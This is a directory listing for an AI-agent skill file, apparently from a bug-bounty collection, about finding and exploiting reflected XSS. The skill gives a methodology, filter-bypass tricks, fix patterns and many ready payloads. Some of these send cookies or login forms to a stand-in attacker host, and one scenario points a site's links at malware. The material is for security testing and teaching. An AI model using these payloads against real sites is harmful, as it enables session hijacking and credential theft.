Xss reflected
Reflected XSS occurs when user-supplied input is echoed in an HTTP response without sanitization, allowing script execution in the victim's browser. Detect via injecting `<script>alert(1)</script>`, event handlers like `onfocus`, HTML entity bypass, and encoding variants. Tools: Burp Suite, OWASP ZAP, PHP Charset Encoder (PCE), Hackvertor, XSS-Proxy, ratproxy.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill xss-reflectedAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
6.5 KB, ~1.4k tokens by cl100k_base, as published. Nobody here has run it
Reflected Cross-Site Scripting (XSS)
What Is Broken and Why
Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.
Key Signals
- Input parameter value appears verbatim in the HTML response source
- Special characters
<,>,",',&are not HTML-encoded in responses - JavaScript context: input reflected inside
<script>blocks or event handlers without escaping',",\ - Error messages or page titles echoing raw query strings
- HTTP headers (User-Agent, Referer) reflected in error pages
Methodology
- Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.
- Submit a canary string (e.g.,
xss12345) and search the response for its unencoded presence. - Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.
- Craft a context-appropriate payload:
- Tag body:
<script>alert(1)</script> - Attribute:
" onfocus="alert(1)or" onmouseover="alert(1) - Script block:
';alert(1)// - URL context:
javascript:alert(1)
- Tag body:
- Test filter bypass variants if initial payloads are blocked.
- Verify execution in a real browser (not just source inspection).
- Escalate to cookie theft, credential harvesting, or redirect payloads.
Payloads & Tools
# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>
# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" onfocus="alert(1)" autofocus="
# Script block context
TARGET/page?user=';alert(document.cookie)//
# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>
# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>
# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>
# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >
# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E
# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>
# HTTP Parameter Pollution
TARGET/page?param=<script¶m=>alert(1)</¶m=script>
# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists
Bypass Techniques
- Case variation:
<ScRiPt>,<SCRIPT> - Space insertion in tags:
<script >,< script> - URL encoding:
%3C,%3E,%22 - Double URL encoding:
%253C - HTML entity encoding in attribute context:
<,<,< - Null bytes:
<%00script> - Tab/newline insertion:
<scr\tipt>,<scr\nipt> - Alternative event handlers:
onerror,onload,onmouseover,onfocus,autofocus - SVG vectors:
<svg onload=alert(1)> - IMG fallback:
<img src=x onerror=alert(1)> - Regex bypass for script-src filters:
<SCRIPT%20a=">"%20SRC="http://VICTIM/xss.js"></SCRIPT> - HTTP Parameter Pollution to split tag across params
Exploitation Scenarios
Scenario 1 — Session Hijacking
Setup: Search results page reflects q= parameter in page title without encoding.
Trigger: Attacker sends victim link: TARGET/search?q=<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie transmitted to attacker; full account takeover.
Scenario 2 — Credential Harvesting via Page Modification
Setup: Login page redirect parameter reflected in a JavaScript string.
Trigger: TARGET/login?redirect=';document.forms[0].action='http://VICTIM/capture';// — form submission redirected to attacker.
Impact: Plaintext credentials exfiltrated on login.
Scenario 3 — Malware Distribution
Setup: Error page reflects filename parameter in body without encoding.
Trigger: TARGET/download?file=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malware.exe';}</script>
Impact: Victim downloads malware when clicking any link on the page.
False Positives
- HTML encoding happening after source inspection — verify payload executes in browser, not just that it appears in source
- Framework escaping that happens at render time not visible in raw HTTP response
- CSP blocking execution even when payload is reflected
- Canary string present in HTML comments (no execution context)
Fix Patterns
- Context-aware output encoding: HTML-encode in tag body, attribute-encode in attributes, JS-encode in script blocks
- Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self' X-XSS-Protection: 1; mode=block(legacy browsers)- Avoid reflecting untrusted input into script blocks or event handlers
- Use trusted templating engines with auto-escaping enabled by default
Related Skills
When the injection point persists server-side, escalate to [[xss-stored]] for higher-impact payloads that don't require victim interaction. If the sink is in JavaScript code reading from location.hash or document.referrer, treat as [[dom-xss]] and look for dangerous sinks like innerHTML or eval. Reflected XSS can be used to bypass SameSite and execute [[csrf]] on the same origin, since the browser delivers both the XSS and the CSRF forged request from the target origin itself. Filter bypass encoding tricks used here also apply to [[cmd-injection]] when both share the same input sanitization layer.
What ships with it
Read from the repository
Just SKILL.md. No reference files, no scripts.
Gives 0 of the 12 instructions most vulnerability scanning skills give in ~1.4k tokens
Counted across 223 of the 238 authors here whose files we hold, read 2026-09-06
- Fix critical findings immediatelyin 21 of 223, across 14 files
- Fix high findings before productionin 18 of 223, across 12 files
- Check and install AgentShield before scanningin 18 of 223, across 12 files
- Scaffold a secure configuration with initin 16 of 223, across 10 files
- Add the AgentShield GitHub Action to CIin 16 of 223, across 10 files
- Run the three-agent opus pipeline for deeper analysisin 14 of 223, across 8 files
- Apply safe auto-fixes onlyin 14 of 223, across 8 files
- Use JSON output for CI/CD integrationin 13 of 223, across 7 files
- Filter findings with a minimum severityin 12 of 223, across 10 files
- Classify each finding by severityin 10 of 223
- Use parameterized queries for all database accessin 10 of 223, across 9 files
- Write tests before writing the rulein 9 of 223, across 4 files
Said here and by no other author read
- Map all input vectors
- Search responses for unencoded canary reflection
- Identify the HTML context of reflection
- Craft context-appropriate payloads
- Test filter bypass variants when blocked
- Verify execution in a real browser
Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.